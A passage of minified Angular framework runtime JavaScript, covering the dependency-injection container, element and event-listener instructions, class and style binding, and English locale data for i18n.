s?o=s:1==o?r=C(r,s):2==o&&(i=C(i,s+": "+e[++a]+";"))}n?t.styles=i:t.stylesWithoutHost=i,n?t.classes=r:t.classesWithoutHost=r}var qo,zo=new wn("INJECTOR",-1),Zo=function(){function t(){_(this,t)}return y(t,[{key:"get",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:Dn;if(e===Dn){var n=new Error("NullInjectorError: No provider for ".concat(w(t),"!"));throw n.name="NullInjectorError",n}return e}}]),t}(),Wo=new wn("Set Injector scope."),Jo={},Qo={};function Ko(){return void 0===qo&&(qo=new Zo),qo}function Xo(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null,i=arguments.length>3?arguments[3]:void 0;return new $o(t,n,e||Ko(),i)}var $o=function(){function t(e,n,i){var r=this,o=arguments.length>3&&void 0!==arguments[3]?arguments[3]:null;_(this,t),this.parent=i,this.records=new Map,this.injectorDefTypes=new Set,this.onDestroy=new Set,this._destroyed=!1;var a=[];n&&En(n,function(t){return r.processProvider(t,e,n)}),En([e],function(t){return r.processInjectorType(t,[],a)}),this.records.set(zo,na(void 0,this));var s=this.records.get(Wo);this.scope=null!=s?s.value:null,this.source=o||("object"==typeof e?null:w(e))}return y(t,[{key:"destroyed",get:function(){return this._destroyed}},{key:"destroy",value:function(){this.assertNotDestroyed(),this._destroyed=!0;try{this.onDestroy.forEach(function(t){return t.ngOnDestroy()})}finally{this.records.clear(),this.onDestroy.clear(),this.injectorDefTypes.clear()}}},{key:"get",value:function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:Dn,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:G.Default;this.assertNotDestroyed();var i,r=jn(this),o=Y(void 0);try{if(!(n&G.SkipSelf)){var a=this.records.get(t);if(void 0===a){var s=("function"==typeof(i=t)||"object"==typeof i&&i instanceof wn)&&L(t);a=s&&this.injectableDefInScope(s)?na(ta(t),Jo):null,this.records.set(t,a)}if(null!=a)return this.hydrate(t,a)}return(n&G.Self?Ko():this.parent).get(t,e=n&G.Optional&&e===Dn?null:e)}catch(u){if("NullInjectorError"===u.name){if((u[Mn]=u[Mn]||[]).unshift(w(t)),r)throw u;return Zn(u,t,"R3InjectorError",this.source)}throw u}finally{Y(o),jn(r)}}},{key:"_resolveInjectorDefTypes",value:function(){var t=this;this.injectorDefTypes.forEach(function(e){return t.get(e)})}},{key:"toString",value:function(){var t=[];return this.records.forEach(function(e,n){return t.push(w(n))}),"R3Injector[".concat(t.join(", "),"]")}},{key:"assertNotDestroyed",value:function(){if(this._destroyed)throw new Error("Injector has already been destroyed.")}},{key:"processInjectorType",value:function(t,e,n){var i=this;if(!(t=E(t)))return!1;var r=F(t),o=null==r&&t.ngModule||void 0,a=void 0===o?t:o,s=-1!==n.indexOf(a);if(void 0!==o&&(r=F(o)),null==r)return!1;if(null!=r.imports&&!s){var u;n.push(a);try{En(r.imports,function(t){i.processInjectorType(t,e,n)&&(void 0===u&&(u=[]),u.push(t))})}finally{}if(void 0!==u)for(var c=function(t){var e=u[t],n=e.ngModule,r=e.providers;En(r,function(t){return i.processProvider(t,n,r||tt)})},l=0;l<u.length;l++)c(l)}this.injectorDefTypes.add(a);var h=It(a)||function(){return new a};this.records.set(a,na(h,Jo));var f=r.providers;if(null!=f&&!s){var d=t;En(f,function(t){return i.processProvider(t,d,f)})}return void 0!==o&&void 0!==t.providers}},{key:"processProvider",value:function(t,e,n){var i,r=ra(t=E(t))?t:E(t&&t.provide),o=ia(i=t)?na(void 0,i.useValue):na(ea(i),Jo);if(ra(t)||!0!==t.multi)this.records.get(r);else{var a=this.records.get(r);a||((a=na(void 0,Jo,!0)).factory=function(){return Yn(a.multi)},this.records.set(r,a)),r=t,a.multi.push(t)}this.records.set(r,o)}},{key:"hydrate",value:function(t,e){return e.value===Jo&&(e.value=Qo,e.value=e.factory()),"object"==typeof e.value&&e.value&&null!==(n=e.value)&&"object"==typeof n&&"function"==typeof n.ngOnDestroy&&this.onDestroy.add(e.value),e.value;var n}},{key:"injectableDefInScope",value:function(t){if(!t.providedIn)return!1;var e=E(t.providedIn);return"string"==typeof e?"any"===e||e===this.scope:this.injectorDefTypes.has(e)}}]),t}();function ta(t){var e=L(t),n=null!==e?e.factory:It(t);if(null!==n)return n;if(t instanceof wn)throw new Error("Token ".concat(w(t)," is missing a \u0275prov definition."));if(t instanceof Function)return function(t){var e=t.length;if(e>0){var n=In(e,"?");throw new Error("Can't resolve all parameters for ".concat(w(t),": (").concat(n.join(", "),")."))}var i=function(t){var e=t&&(t[B]||t[H]);if(e){var n=function(t){if(t.hasOwnProperty("name"))return t.name;var e=(""+t).match(/^function\s*([^\s(]+)/);return null===e?"":e[1]}(t);return console.warn('DEPRECATED: DI is instantiating a token "'.concat(n,'" that inherits its @Injectable decorator but does not provide one itself.\nThis will become an error in a future version of Angular. Please add @Injectable() to the "').concat(n,'" class.')),e}return null}(t);return null!==i?function(){return i.factory(t)}:function(){return new t}}(t);throw new Error("unreachable")}function ea(t,e,r){var o;if(ra(t)){var a=E(t);return It(a)||ta(a)}if(ia(t))o=function(){return E(t.useValue)};else if(function(t){return!(!t||!t.useFactory)}(t))o=function(){return t.useFactory.apply(t,i(Yn(t.deps||[])))};else if(function(t){return!(!t||!t.useExisting)}(t))o=function(){return Vn(E(t.useExisting))};else{var s=E(t&&(t.useClass||t.provide));if(!function(t){return!!t.deps}(t))return It(s)||ta(s);o=function(){return n(s,i(Yn(t.deps)))}}return o}function na(t,e){var n=arguments.length>2&&void 0!==arguments[2]&&arguments[2];return{factory:t,value:e,multi:n?[]:void 0}}function ia(t){return null!==t&&"object"==typeof t&&Bn in t}function ra(t){return"function"==typeof t}var oa,aa=function(t,e,n){return function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null,n=arguments.length>2&&void 0!==arguments[2]?arguments[2]:null,i=arguments.length>3?arguments[3]:void 0,r=Xo(t,e,n,i);return r._resolveInjectorDefTypes(),r}({name:n},e,t,n)},sa=((oa=function(){function t(){_(this,t)}return y(t,null,[{key:"create",value:function(t,e){return Array.isArray(t)?aa(t,e,""):aa(t.providers,t.parent,t.name||"")}}]),t}()).THROW_IF_NOT_FOUND=Dn,oa.NULL=new Zo,oa.\u0275prov=N({token:oa,providedIn:"any",factory:function(){return Vn(zo)}}),oa.__NG_ELEMENT_ID__=-1,oa);function ua(t,e){Me(qi(t)[1],oe())}function ca(t){for(var e=function(t){return Object.getPrototypeOf(t.prototype).constructor}(t.type),n=!0,i=[t];e;){var r=void 0;if(At(t))r=e.\u0275cmp||e.\u0275dir;else{if(e.\u0275cmp)throw new Error("Directives cannot inherit Components");r=e.\u0275dir}if(r){if(n){i.push(r);var o=t;o.inputs=la(t.inputs),o.declaredInputs=la(t.declaredInputs),o.outputs=la(t.outputs);var a=r.hostBindings;a&&da(t,a);var s=r.viewQuery,u=r.contentQueries;if(s&&ha(t,s),u&&fa(t,u),k(t.inputs,r.inputs),k(t.declaredInputs,r.declaredInputs),k(t.outputs,r.outputs),At(r)&&r.data.animation){var c=t.data;c.animation=(c.animation||[]).concat(r.data.animation)}}var l=r.features;if(l)for(var h=0;h<l.length;h++){var f=l[h];f&&f.ngInherit&&f(t),f===ca&&(n=!1)}}e=Object.getPrototypeOf(e)}!function(t){for(var e=0,n=null,i=t.length-1;i>=0;i--){var r=t[i];r.hostVars=e+=r.hostVars,r.hostAttrs=ze(r.hostAttrs,n=ze(n,r.hostAttrs))}}(i)}function la(t){return t===$?{}:t===tt?[]:t}function ha(t,e){var n=t.viewQuery;t.viewQuery=n?function(t,i){e(t,i),n(t,i)}:e}function fa(t,e){var n=t.contentQueries;t.contentQueries=n?function(t,i,r){e(t,i,r),n(t,i,r)}:e}function da(t,e){var n=t.hostBindings;t.hostBindings=n?function(t,i){e(t,i),n(t,i)}:e}var pa=null;function va(){if(!pa){var t=X.Symbol;if(t&&t.iterator)pa=t.iterator;else for(var e=Object.getOwnPropertyNames(Map.prototype),n=0;n<e.length;++n){var i=e[n];"entries"!==i&&"size"!==i&&Map.prototype[i]===Map.prototype.entries&&(pa=i)}}return pa}var ma=function(){function t(e){_(this,t),this.wrapped=e}return y(t,null,[{key:"wrap",value:function(e){return new t(e)}},{key:"unwrap",value:function(e){return t.isWrapped(e)?e.wrapped:e}},{key:"isWrapped",value:function(e){return e instanceof t}}]),t}();function ga(t){return!!ya(t)&&(Array.isArray(t)||!(t instanceof Map)&&va()in t)}function ya(t){return null!==t&&("function"==typeof t||"object"==typeof t)}function _a(t,e,n){return t[e]=n}function ba(t,e,n){return!Object.is(t[e],n)&&(t[e]=n,!0)}function ka(t,e,n,i){var r=ba(t,e,n);return ba(t,e+1,i)||r}function wa(t,e,n,i){var r=ne();return ba(r,ve(),e)&&(ie(),function(t,e,n,i,r,o){var a=qt(t,e);!function(t,e,n,i,r,o,a){if(null==o)Ht(t)?t.removeAttribute(e,r,n):e.removeAttribute(r);else{var s=null==a?I(o):a(o,i||"",r);Ht(t)?t.setAttribute(e,r,s,n):n?e.setAttributeNS(n,r,s):e.setAttribute(r,s)}}(e[kt],a,o,t.value,n,i,r)}(Ne(),r,t,e,n,i)),wa}function Ca(t,e,n,i){return ba(t,ve(),n)?e+I(n)+i:qr}function xa(t,e,n,i,r,o,a,s){var u=ne(),c=ie(),l=t+20,h=c.firstCreatePass?function(t,e,n,i,r,o,a,s,u){var c=e.consts,l=no(e,t,4,a||null,Kt(c,s));yo(e,n,l,Kt(c,u)),Me(e,l);var h=l.tViews=po(2,l,i,r,o,e.directiveRegistry,e.pipeRegistry,null,e.schemas,c);return null!==e.queries&&(e.queries.template(e,l),h.queries=e.queries.embeddedTView(l)),l}(l,c,u,e,n,i,r,o,a):c.data[l];ue(h,!1);var f=u[kt].createComment("");xr(c,u,f,h),Yi(f,u),Po(u,u[l]=To(f,u,f,h)),Et(h)&&lo(c,u,h),null!=a&&ho(u,h,s)}function Sa(t){return Zt(te.lFrame.contextLView,20+t)}function Ea(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:G.Default,n=ne();return null===n?Vn(t,e):un(oe(),n,E(t),e)}function Aa(){throw new Error("invalid")}function Ta(t,e,n){var i=ne();return ba(i,ve(),e)&&go(ie(),Ne(),i,t,e,i[kt],n,!1),Ta}function Ia(t,e,n,i,r){var o=r?"class":"style";Vo(t,n,e.inputs[o],o,i)}function Oa(t,e,n,i){var r=ne(),o=ie(),a=20+t,s=r[kt],u=r[a]=ur(s,e,te.lFrame.currentNamespace),c=o.firstCreatePass?function(t,e,n,i,r,o,a){var s=e.consts,u=no(e,t,2,r,Kt(s,o));return yo(e,n,u,Kt(s,a)),null!==u.attrs&&Yo(u,u.attrs,!1),null!==u.mergedAttrs&&Yo(u,u.mergedAttrs,!0),null!==e.queries&&e.queries.elementStart(e,u),u}(a,o,r,0,e,n,i):o.data[a];ue(c,!0);var l=c.mergedAttrs;null!==l&&Ge(s,u,l);var h=c.classes;null!==h&&Pr(s,u,h);var f=c.styles;null!==f&&Rr(s,u,f),64!=(64&c.flags)&&xr(o,r,u,c),0===te.lFrame.elementDepthCount&&Yi(u,r),te.lFrame.elementDepthCount++,Et(c)&&(lo(o,r,c),co(o,c,r)),null!==i&&ho(r,c)}function Ra(){var t=oe();ce()?le():ue(t=t.parent,!1);var e=t;te.lFrame.elementDepthCount--;var n=ie();n.firstCreatePass&&(Me(n,t),xt(t)&&n.queries.elementEnd(t)),null!=e.classesWithoutHost&&function(t){return 0!=(16&t.flags)}(e)&&Ia(n,e,ne(),e.classesWithoutHost,!0),null!=e.stylesWithoutHost&&function(t){return 0!=(32&t.flags)}(e)&&Ia(n,e,ne(),e.stylesWithoutHost,!1)}function Pa(t,e,n,i){Oa(t,e,n,i),Ra()}function Na(t,e,n){var i=ne(),r=ie(),o=t+20,a=r.firstCreatePass?function(t,e,n,i,r){var o=e.consts,a=Kt(o,i),s=no(e,t,8,"ng-container",a);return null!==a&&Yo(s,a,!0),yo(e,n,s,Kt(o,r)),null!==e.queries&&e.queries.elementStart(e,s),s}(o,r,i,e,n):r.data[o];ue(a,!0);var s=i[o]=i[kt].createComment("");xr(r,i,s,a),Yi(s,i),Et(a)&&(lo(r,i,a),co(r,a,i)),null!=n&&ho(i,a)}function Da(){var t=oe(),e=ie();ce()?le():ue(t=t.parent,!1),e.firstCreatePass&&(Me(e,t),xt(t)&&e.queries.elementEnd(t))}function La(t,e,n){Na(t,e,n),Da()}function Ma(){return ne()}function Fa(t){return!!t&&"function"==typeof t.then}function Ua(t){return!!t&&"function"==typeof t.subscribe}var Ba=Ua;function ja(t,e,n,i){var r=ne(),o=ie(),a=oe();return Va(o,r,r[kt],a,t,e,!!n,i),ja}function Ha(t,e){var n=oe(),i=ne(),r=ie();return Va(r,i,jo(be(r.data),n,i),n,t,e,!1),Ha}function Va(t,e,n,i,r,o,a,s){var u=Et(i),c=t.firstCreatePass&&Bo(t),l=e[8],h=Uo(e),f=!0;if(3&i.type||s){var d=qt(i,e),p=s?s(d):d,v=h.length,m=s?function(t){return s(Gt(t[i.index]))}:i.index;if(Ht(n)){var g=null;if(!s&&u&&(g=function(t,e,n,i){var r=t.cleanup;if(null!=r)for(var o=0;o<r.length-1;o+=2){var a=r[o];if(a===n&&r[o+1]===i){var s=e[7],u=r[o+2];return s.length>u?s[u]:null}"string"==typeof a&&(o+=2)}return null}(t,e,r,i.index)),null!==g)(g.__ngLastListenerFn__||g).__ngNextListenerFn__=o,g.__ngLastListenerFn__=o,f=!1;else{o=Ya(i,e,l,o,!1);var y=n.listen(p,r,o);h.push(o,y),c&&c.push(r,m,v,v+1)}}else o=Ya(i,e,l,o,!0),p.addEventListener(r,o,a),h.push(o),c&&c.push(r,m,v,a)}else o=Ya(i,e,l,o,!1);var _,b=i.outputs;if(f&&null!==b&&(_=b[r])){var k=_.length;if(k)for(var w=0;w<k;w+=2){var C=e[_[w]][_[w+1]].subscribe(o),x=h.length;h.push(o,C),c&&c.push(r,i.index,x,-(x+1))}}}function Ga(t,e,n,i){try{return!1!==n(i)}catch(r){return Ho(t,r),!1}}function Ya(t,e,n,i,r){return function n(o){if(o===Function)return i;var a=2&t.flags?Wt(t.index,e):e;0==(32&e[2])&&No(a);for(var s=Ga(e,0,i,o),u=n.__ngNextListenerFn__;u;)s=Ga(e,0,u,o)&&s,u=u.__ngNextListenerFn__;return r&&!1===s&&(o.preventDefault(),o.returnValue=!1),s}}function qa(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:1;return function(t){return(te.lFrame.contextLView=function(t,e){for(;t>0;)e=e[15],t--;return e}(t,te.lFrame.contextLView))[8]}(t)}function za(t,e){for(var n=null,i=function(t){var e=t.attrs;if(null!=e){var n=e.indexOf(5);if(0==(1&n))return e[n+1]}return null}(t),r=0;r<e.length;r++){var o=e[r];if("*"!==o){if(null===i?Hr(t,o,!0):Vr(i,o))return r}else n=r}return n}function Za(t){var e=ne()[16][6];if(!e.projection)for(var n=e.projection=In(t?t.length:1,null),i=n.slice(),r=e.child;null!==r;){var o=t?za(r,t):0;null!==o&&(i[o]?i[o].projectionNext=r:n[o]=r,i[o]=r),r=r.next}}function Wa(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,n=arguments.length>2?arguments[2]:void 0,i=ne(),r=ie(),o=no(r,20+t,16,null,n||null);null===o.projection&&(o.projection=e),le(),64!=(64&o.flags)&&function(t,e,n){Or(e[kt],0,e,n,dr(t,n,e),_r(n.parent||e[6],n,e))}(r,i,o)}function Ja(t,e,n){return Qa(t,"",e,"",n),Ja}function Qa(t,e,n,i,r){var o=ne(),a=Ca(o,e,n,i);return a!==qr&&go(ie(),Ne(),o,t,a,o[kt],r,!1),Qa}function Ka(t,e,n,i,r){for(var o=t[n+1],a=null===e,s=i?Jr(o):Kr(o),u=!1;0!==s&&(!1===u||a);){var c=t[s+1];Xa(t[s],e)&&(u=!0,t[s+1]=i?$r(c):Qr(c)),s=i?Jr(c):Kr(c)}u&&(t[n+1]=i?Qr(o):$r(o))}function Xa(t,e){return null===t||null==e||(Array.isArray(t)?t[1]:t)===e||!(!Array.isArray(t)||"string"!=typeof e)&&Pn(t,e)>=0}var $a={textEnd:0,key:0,keyEnd:0,value:0,valueEnd:0};function ts(t){return t.substring($a.key,$a.keyEnd)}function es(t,e){var n=$a.textEnd;return n===e?-1:(e=$a.keyEnd=function(t,e,n){for(;e<n&&t.charCodeAt(e)>32;)e++;return e}(t,$a.key=e,n),ns(t,e,n))}function ns(t,e,n){for(;e<n&&t.charCodeAt(e)<=32;)e++;return e}function is(t,e,n){return ss(t,e,n,!1),is}function rs(t,e){return ss(t,e,null,!0),rs}function os(t){us(On,as,t,!0)}function as(t,e){for(var n=function(t){return function(t){$a.key=0,$a.keyEnd=0,$a.value=0,$a.valueEnd=0,$a.textEnd=t.length}(t),es(t,ns(t,0,$a.textEnd))}(e);n>=0;n=es(e,n))On(t,ts(e),!0)}function ss(t,e,n,i){var r=ne(),o=ie(),a=me(2);o.firstUpdatePass&&ls(o,t,a,i),e!==qr&&ba(r,a,e)&&ds(o,o.data[Re()],r,r[kt],t,r[a+1]=function(t,e){return null==t||("string"==typeof e?t+=e:"object"==typeof t&&(t=w(si(t)))),t}(e,n),i,a)}function us(t,e,n,i){var r=ie(),o=me(2);r.firstUpdatePass&&ls(r,null,o,i);var a=ne();if(n!==qr&&ba(a,o,n)){var s=r.data[Re()];if(ms(s,i)&&!cs(r,o)){var u=i?s.classesWithoutHost:s.stylesWithoutHost;null!==u&&(n=C(u,n||"")),Ia(r,s,a,n,i)}else!function(t,e,n,i,r,o,a,s){r===qr&&(r=tt);for(var u=0,c=0,l=0<r.length?r[0]:null,h=0<o.length?o[0]:null;null!==l||null!==h;){var f=u<r.length?r[u+1]:void 0,d=c<o.length?o[c+1]:void 0,p=void 0,v=null;l===h?(u+=2,c+=2,f!==d&&(v=h,p=d)):null===h||null!==l&&l<h?(u+=2,v=l):(c+=2,v=h,p=d),null!==v&&ds(t,e,n,i,v,p,a,s),l=u<r.length?r[u]:null,h=c<o.length?o[c]:null}}(r,s,a,a[kt],a[o+1],a[o+1]=function(t,e,n){if(null==n||""===n)return tt;var i=[],r=si(n);if(Array.isArray(r))for(var o=0;o<r.length;o++)t(i,r[o],!0);else if("object"==typeof r)for(var a in r)r.hasOwnProperty(a)&&t(i,a,r[a]);else"string"==typeof r&&e(i,r);return i}(t,e,n),i,o)}}function cs(t,e){return e>=t.expandoStartIndex}function ls(t,e,n,i){var r=t.data;if(null===r[n+1]){var o=r[Re()],a=cs(t,n);ms(o,i)&&null===e&&!a&&(e=!1),e=function(t,e,n,i){var r=be(t),o=i?e.residualClasses:e.residualStyles;if(null===r)0===(i?e.classBindings:e.styleBindings)&&(n=fs(n=hs(null,t,e,n,i),e.attrs,i),o=null);else{var a=e.directiveStylingLast;if(-1===a||t[a]!==r)if(n=hs(r,t,e,n,i),null===o){var s=function(t,e,n){var i=n?e.classBindings:e.styleBindings;if(0!==Kr(i))return t[Jr(i)]}(t,e,i);void 0!==s&&Array.isArray(s)&&function(t,e,n,i){t[Jr(n?e.classBindings:e.styleBindings)]=i}(t,e,i,s=fs(s=hs(null,t,e,s[1],i),e.attrs,i))}else o=function(t,e,n){for(var i,r=e.directiveEnd,o=1+e.directiveStylingLast;o<r;o++)i=fs(i,t[o].hostAttrs,n);return fs(i,e.attrs,n)}(t,e,i)}return void 0!==o&&(i?e.residualClasses=o:e.residualStyles=o),n}(r,o,e,i),function(t,e,n,i,r,o){var a=o?e.classBindings:e.styleBindings,s=Jr(a),u=Kr(a);t[i]=n;var c,l=!1;if(Array.isArray(n)){var h=n;(null===(c=h[1])||Pn(h,c)>0)&&(l=!0)}else c=n;if(r)if(0!==u){var f=Jr(t[s+1]);t[i+1]=Wr(f,s),0!==f&&(t[f+1]=Xr(t[f+1],i)),t[s+1]=function(t,e){return 131071&t|e<<17}(t[s+1],i)}else t[i+1]=Wr(s,0),0!==s&&(t[s+1]=Xr(t[s+1],i)),s=i;else t[i+1]=Wr(u,0),0===s?s=i:t[u+1]=Xr(t[u+1],i),u=i;l&&(t[i+1]=Qr(t[i+1])),Ka(t,c,i,!0),Ka(t,c,i,!1),function(t,e,n,i,r){var o=r?t.residualClasses:t.residualStyles;null!=o&&"string"==typeof e&&Pn(o,e)>=0&&(n[i+1]=$r(n[i+1]))}(e,c,t,i,o),a=Wr(s,u),o?e.classBindings=a:e.styleBindings=a}(r,o,e,n,a,i)}}function hs(t,e,n,i,r){var o=null,a=n.directiveEnd,s=n.directiveStylingLast;for(-1===s?s=n.directiveStart:s++;s<a&&(i=fs(i,(o=e[s]).hostAttrs,r),o!==t);)s++;return null!==t&&(n.directiveStylingLast=s),i}function fs(t,e,n){var i=n?1:2,r=-1;if(null!==e)for(var o=0;o<e.length;o++){var a=e[o];"number"==typeof a?r=a:r===i&&(Array.isArray(t)||(t=void 0===t?[]:["",t]),On(t,a,!!n||e[++o]))}return void 0===t?null:t}function ds(t,e,n,i,r,o,a,s){if(3&e.type){var u=t.data,c=u[s+1];vs(function(t){return 1==(1&t)}(c)?ps(u,e,n,r,Kr(c),a):void 0)||(vs(o)||function(t){return 2==(2&t)}(c)&&(o=ps(u,null,n,r,s,a)),function(t,e,n,i,r){var o=Ht(t);if(e)r?o?t.addClass(n,i):n.classList.add(i):o?t.removeClass(n,i):n.classList.remove(i);else{var a=-1===i.indexOf("-")?void 0:tr.DashCase;if(null==r)o?t.removeStyle(n,i,a):n.style.removeProperty(i);else{var s="string"==typeof r&&r.endsWith("!important");s&&(r=r.slice(0,-10),a|=tr.Important),o?t.setStyle(n,i,r,a):n.style.setProperty(i,r,s?"important":"")}}}(i,a,Yt(Re(),n),r,o))}}function ps(t,e,n,i,r,o){for(var a,s=null===e;r>0;){var u=t[r],c=Array.isArray(u),l=c?u[1]:u,h=null===l,f=n[r+1];f===qr&&(f=h?tt:void 0);var d=h?Rn(f,i):l===i?f:void 0;if(c&&!vs(d)&&(d=Rn(u,i)),vs(d)&&(a=d,s))return a;var p=t[r+1];r=s?Jr(p):Kr(p)}if(null!==e){var v=o?e.residualClasses:e.residualStyles;null!=v&&(a=Rn(v,i))}return a}function vs(t){return void 0!==t}function ms(t,e){return 0!=(t.flags&(e?16:32))}function gs(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"",n=ne(),i=ie(),r=t+20,o=i.firstCreatePass?no(i,r,1,e,null):i.data[r],a=n[r]=sr(n[kt],e);xr(i,n,a,o),ue(o,!1)}function ys(t){return _s("",t,""),ys}function _s(t,e,n){var i=ne(),r=Ca(i,t,e,n);return r!==qr&&Go(i,Re(),r),_s}function bs(t,e,n,i,r){var o=ne(),a=function(t,e,n,i,r,o){var a=ka(t,pe(),n,r);return me(2),a?e+I(n)+i+I(r)+o:qr}(o,t,e,n,i,r);return a!==qr&&Go(o,Re(),a),bs}function ks(t,e,n){us(On,as,Ca(ne(),t,e,n),!0)}function ws(t,e,n){var i=ne();return ba(i,ve(),e)&&go(ie(),Ne(),i,t,e,i[kt],n,!0),ws}function Cs(t,e,n){var i=ne();if(ba(i,ve(),e)){var r=ie(),o=Ne();go(r,o,i,t,e,jo(be(r.data),o,i),n,!0)}return Cs}var xs=void 0,Ss=["en",[["a","p"],["AM","PM"],xs],[["AM","PM"],xs,xs],[["S","M","T","W","T","F","S"],["Sun","Mon","Tue","Wed","Thu","Fri","Sat"],["Sunday","Monday","Tuesday","Wednesday","Thursday","Friday","Saturday"],["Su","Mo","Tu","We","Th","Fr","Sa"]],xs,[["J","F","M","A","M","J","J","A","S","O","N","D"],["Jan","Feb","Mar","Apr","May","Jun","Jul","Aug","Sep","Oct","Nov","Dec"],["January","February","March","April","May","June","July","August","September","October","November","December"]],xs,[["B","A"],["BC","AD"],["Before Christ","Anno Domini"]],0,[6,0],["M/d/yy","MMM d, y","MMMM d, y","EEEE, MMMM d, y"],["h:mm a","h:mm:ss a","h:mm:ss a z","h:mm:ss a zzzz"],["{1}, {0}",xs,"{1} 'at' {0}",xs],[".",",",";","%","+","-","E","\xd7","\u2030","\u221e","NaN",":"],["#,##0.###","#,##0%","\xa4#,##0.00","#E0"],"USD","$","US Dollar",{},"ltr",function(t){var e=Math.floor(Math.abs(t)),n=t.toString().replace(/^[^.]*\.?/,"").length;return 1===e&&0===n?1:5}],Es={};function As(t,e,n){"string"!=typeof e&&(n=e,e=t[Rs.LocaleId]),e=e.toLowerCase().replace(/_/g,"-"),Es[e]=t,n&&(Es[e][Rs.ExtraData]=n)}function Ts(t){var e=function(t){return t.toLowerCase().replace(/_/g,"-")}(t),n=Os(e);if(n)return n;var i=e.split("-")[0];if(n=Os(i))return n;if("en"===i)return Ss;throw new Error('Missing locale data for the locale "'.concat(t,'".'))}function Is(t){return Ts(t)[Rs.PluralCase]}function Os(t){return t in Es||(Es[t]=X.ng&&X.ng.common&&X.ng.common.locales&&X.ng.common.locales[t]),Es[t]}var Rs=((Rs=Rs||{})[Rs.LocaleId=0]="LocaleId",Rs[Rs.DayPeriodsFormat=1]="DayPeriodsFormat",Rs[Rs.DayPeriodsStandalone=2]="DayPeriodsStandalone",Rs[Rs.DaysFormat=3]="DaysFormat",Rs[Rs.DaysStandalone=4]="DaysStandalone",Rs[Rs.MonthsFormat=5]="MonthsFormat",Rs[Rs.MonthsStandalone=6]="MonthsStandalone",Rs[Rs.Eras=7]="Eras",Rs[Rs.FirstDayOfWeek=8]="FirstDayOfWeek",Rs[Rs.WeekendRange=9]="WeekendRange",Rs[Rs.DateFormat=10]="DateFormat",Rs[Rs.TimeFormat=11]="TimeFormat",Rs[Rs.DateTimeFormat=12]="DateTimeFormat",Rs[Rs.NumberSymbols=13]="NumberSymbols",Rs[Rs.NumberFormats=14]="NumberFormats",Rs[Rs.CurrencyCode=15]="CurrencyCode",Rs[Rs.CurrencySymbol=16]="CurrencySymbol",Rs[Rs.CurrencyName=17]="CurrencyName",Rs[Rs.Currencies=18]="Currencies",Rs[Rs.Directionality=19]="Directionality",Rs[Rs.PluralCase=20]="PluralCase",Rs[Rs.ExtraData=21]="ExtraData",Rs),Ps="en-US",Ns={marker:"element"},Ds={marker:"ICU"},Ls=((Ls=Ls||{})[Ls.SHIFT=2]="SHIFT",Ls[Ls.APPEND_EAGERLY=1]="APPEND_EAGERLY",Ls[Ls.COMMENT=2]="COMMENT",Ls);function Ms(t){(function(t,e){null==t&&P("Expected localeId to be defined",t,null,"!=")})(t),"string"==typeof t&&t.toLowerCase().replace(/_/g,"-")}function Fs(t,e,n){var i=e.insertBeforeIndex,r=Array.isArray(i)?i[0]:i;return null===r?br(t,0,n):Gt(n[r])}function Us(t,e,n,i,r){var o=e.insertBeforeIndex;if(Array.isArray(o)){var a=i,s=null;if(3&e.type||(s=a,a=r),null!==a&&0==(2&e.flags))for(var u=1;u<o.length;u++)vr(t,a,n[o[u]],s,!1)}}function Bs(t,e){if(t.push(e),t.length>1)for(var n=t.length-2;n>=0;n--){var i=t[n];js(i)||Hs(i,e)&&null===Vs(i)&&Gs(i,e.index)}}function js(t){return!(64&t.type)}function Hs(t,e){return js(e)||t.index>e.index}function Vs(t){var e=t.insertBeforeIndex;return Array.isArray(e)?e[0]:e}function Gs(t,e){var n=t.insertBeforeIndex;Array.isArray(n)?n[0]=e:(Cr(Fs,Us),t.insertBeforeIndex=e)}function Ys(t,e,n){var i=io(t,n,64,null,null);return Bs(e,i),i}function qs(){var t,e,n=[],i=-1;function r(t,n){i=0;var r=function(t,e){var n=e[t.currentCaseLViewIndex];return null===n?n:n<0?~n:n}(t,n);e=null!==r?t.remove[r]:tt}function o(){if(i<e.length){var a=e[i++];return a>0?t[a]:(n.push(i,e),r(t[1].data[~a],t),o())}return 0===n.length?null:(e=n.pop(),i=n.pop(),o())}return function(e,i){for(t=i;n.length;)n.pop();return r(e.value,i),o}}var zs=/\ufffd(\d+):?\d*\ufffd/gi,Zs=/\ufffd(\d+)\ufffd/,Ws=/^\s*(\ufffd\d+:?\d*\ufffd)\s*,\s*(select|plural)\s*,/,Js=/\ufffd\/?\*(\d+:\d+)\ufffd/gi,Qs=/\ufffd(\/?[#*]\d+):?\d*\ufffd/gi,Ks=/\uE500/g;function Xs(t,e,n,i,r,o,a){var s=ro(t,i,1,null),u=s<<Ls.SHIFT,c=se();e===c&&(c=null),null===c&&(u|=Ls.APPEND_EAGERLY),a&&(u|=Ls.COMMENT,function(t){void 0===$i&&($i=t())}(qs)),r.push(u,null===o?"":o);var l=io(t,s,a?32:1,null===o?"":o,null);Bs(n,l);var h=l.index;return ue(l,!1),null!==c&&e!==c&&function(t,e){var n=t.insertBeforeIndex;null===n?(Cr(Fs,Us),n=t.insertBeforeIndex=[null,e]):(function(t,e,n){true!=t&&P("Expecting array here",t,true,"==")}(Array.isArray(n)),n.push(e))}(c,h),l}function $s(t,e,n,i,r,o,a){var s=a.match(zs),u=Xs(t,e,n,o,i,s?null:a,!1);s&&tu(r,a,u.index,null,0,null)}function tu(t,e,n,i,r,o){var a=t.length,s=a+1;t.push(null,null);for(var u=a+2,c=e.split(zs),l=0,h=0;h<c.length;h++){var f=c[h];if(1&h){var d=r+parseInt(f,10);t.push(-1-d),l|=eu(d)}else""!==f&&t.push(f)}return t.push(n<<2|(i?1:0)),i&&t.push(i,o),t[a]=l,t[s]=t.length-u,l}function eu(t){return 1<<Math.min(t,31)}function nu(t){for(var e,n,i="",r=0,o=!1;null!==(e=Js.exec(t));)o?e[0]==="\ufffd/*".concat(n,"\ufffd")&&(r=e.index,o=!1):(i+=t.substring(r,e.index+e[0].length),n=e[1],o=!0);return i+=t.substr(r)}function 